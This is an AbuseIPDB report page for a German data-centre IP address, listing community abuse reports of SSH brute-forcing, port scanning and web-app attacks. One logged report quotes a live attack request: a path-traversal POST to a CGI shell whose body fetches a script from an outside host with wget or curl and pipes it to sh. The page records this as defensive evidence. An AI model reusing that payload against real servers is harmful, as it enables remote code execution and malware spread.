JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 94.141.161.6

94.141.161.6 was found in our database!

This IP was reported 500 times. Confidence of Abuse is 0%: ?

ISP	Frankfurt, Germany
Usage Type	Data Center/Web Hosting/Transit
ASN	AS215590
Domain Name	xorek.cloud
Country	🇩🇪 Germany
City	Frankfurt am Main, Hesse

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 94.141.161.6

Whois 94.141.161.6

IP Abuse Reports for 94.141.161.6:

This IP address has been reported a total of 500 times from 272 distinct sources. 94.141.161.6 was first reported on November 30th 2025, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇬🇧 thetomtaylor.co.uk	2026-05-05 04:09:08 (1 month ago)	Fail2Ban - [SSH]Brute-force login attempts on sshd ... [mx01,mx03]	Brute-Force SSH
🇬🇧 thetomtaylor.co.uk	2026-04-07 11:46:57 (2 months ago)	Fail2Ban - [SSH]Brute-force login attempts on sshd ... [wa02]	Brute-Force SSH
🇩🇪 phil2k	2026-01-25 00:52:00 (4 months ago)	Firewall within 2025-12-12 17:59:59 - 2025-12-12 17:59:59 CET(+0100) identified: unallowed access fr ... show more Firewall within 2025-12-12 17:59:59 - 2025-12-12 17:59:59 CET(+0100) identified: unallowed access from 94.141.161.6 on port tcp:2222(2222) (1 trial) show less	Port Scan Brute-Force
🇫🇷 SiyCah	2025-12-19 07:00:02 (5 months ago)	94.141.161.6 fell into Endlessh tarpit; 0/1 total connections are currently still open. Total time w ... show more 94.141.161.6 fell into Endlessh tarpit; 0/1 total connections are currently still open. Total time wasted: 1m 32s. Total bytes sent by tarpit: 11.00KiB. Report generated by Endlessh Report Generator v1.2.3 show less	Port Scan Hacking Brute-Force SSH
🇮🇳 sh97	2025-12-19 06:35:58 (5 months ago)	IN04-DRDP-RYZ-STOR: Blocked by Fail2Ban for SSH Brute Force from 94.141.161.6 at 2025-12-19 01:35:58 ... show more IN04-DRDP-RYZ-STOR: Blocked by Fail2Ban for SSH Brute Force from 94.141.161.6 at 2025-12-19 01:35:58 EST show less	Brute-Force SSH
🇹🇷 rtbh.com.tr	2025-12-18 20:10:31 (5 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇫🇷 SiyCah	2025-12-18 07:00:02 (5 months ago)	94.141.161.6 fell into Endlessh tarpit; 0/1 total connections are currently still open. Total time w ... show more 94.141.161.6 fell into Endlessh tarpit; 0/1 total connections are currently still open. Total time wasted: 1m 32s. Total bytes sent by tarpit: 11.00KiB. Report generated by Endlessh Report Generator v1.2.3 show less	Port Scan Hacking Brute-Force SSH
🇨🇭 SOC [GOLINE SA]	2025-12-18 04:05:55 (5 months ago)	FortiGate detected IPS attack from IPv4 address 94.141.161.6	Hacking
🇫🇷 SpaceHost-Server	2025-12-17 23:42:32 (5 months ago)		Brute-Force Web App Attack
🇨🇭 SOC [GOLINE SA]	2025-12-17 03:05:57 (5 months ago)	FortiGate detected IPS attack from IPv4 address 94.141.161.6	Hacking
🇦🇹 urnilxfgbez	2025-12-16 23:45:00 (5 months ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇨🇳 ThreatBook.io	2025-12-16 22:24:47 (5 months ago)	ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/94.141.161.6 2025-12-1 ... show more ThreatBook Intelligence: Zombie,Spam more details on https://threatbook.io/ip/94.141.161.6 2025-12-16 00:16:59 /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh,{"body":"(wget --no-check-certificate -qO- https://178.16.55.224/sh \|\| curl -sk https://178.16.55.224/sh) \| sh -s apache.selfrep","content_type":"text/plain","header":{"Accept":["/"],"Connection":["keep-alive"],"Content-Length":["119"],"Content-Type":["text/plain"],"Upgrade-Insecure-Requests":["1"],"User-Agent":["libredtail-http"]},"host":"161.189.154.131:443","method":"POST","proto":"HTTP/1.1","remote_addr":"94.141.161.6:40234","status_code":200,"url":"/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh","user_agent":"libredtail-http"} show less	Web App Attack
🇹🇷 rtbh.com.tr	2025-12-16 20:10:32 (5 months ago)	list.rtbh.com.tr report: tcp/0	Brute-Force
🇹🇷 rtbh.com.tr	2025-12-16 08:10:28 (5 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
🇩🇪 ipcop.net	2025-12-16 07:58:08 (5 months ago)	2025-12-16T08:56:36.765946+01:00 router02.boersch-gmbh.de sshd[1118210]: Connection closed by authen ... show more 2025-12-16T08:56:36.765946+01:00 router02.boersch-gmbh.de sshd[1118210]: Connection closed by authenticating user admin 94.141.161.6 port 34788 [preauth] 2025-12-16T08:57:06.963521+01:00 router02.boersch-gmbh.de sshd[1118291]: Invalid user orangepi from 94.141.161.6 port 39286 2025-12-16T08:57:07.057436+01:00 router02.boersch-gmbh.de sshd[1118291]: Connection closed by invalid user orangepi 94.141.161.6 port 39286 [preauth] 2025-12-16T08:57:37.800388+01:00 router02.boersch-gmbh.de sshd[1118329]: Connection closed by authenticating user root 94.141.161.6 port 55190 [preauth] 2025-12-16T08:58:07.993198+01:00 router02.boersch-gmbh.de sshd[1118417]: Connection closed by authenticating user root 94.141.161.6 port 36776 [preauth] show less	Brute-Force

Showing 1 to 15 of 500 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇮🇩 117.102.86.226

🇩🇪 43.228.157.123

🇵🇱 2a00:1450:4025:800::12b

🇺🇸 192.178.65.18

🇳🇱 176.65.139.195

🇨🇳 140.205.208.137

🇺🇸 136.107.70.247

🇺🇸 136.41.5.20

🇺🇸 91.230.168.0

🇬🇧 89.240.174.19

🇹🇷 78.180.151.146

🇸🇪 188.150.16.126

🇨🇳 124.88.117.117

🇮🇳 117.245.143.81

🇨🇳 111.9.22.102

🇺🇸 96.78.175.36

🇺🇸 96.45.185.186

🇮🇹 93.144.99.211

🇨🇦 70.81.52.86

🇺🇸 64.62.156.28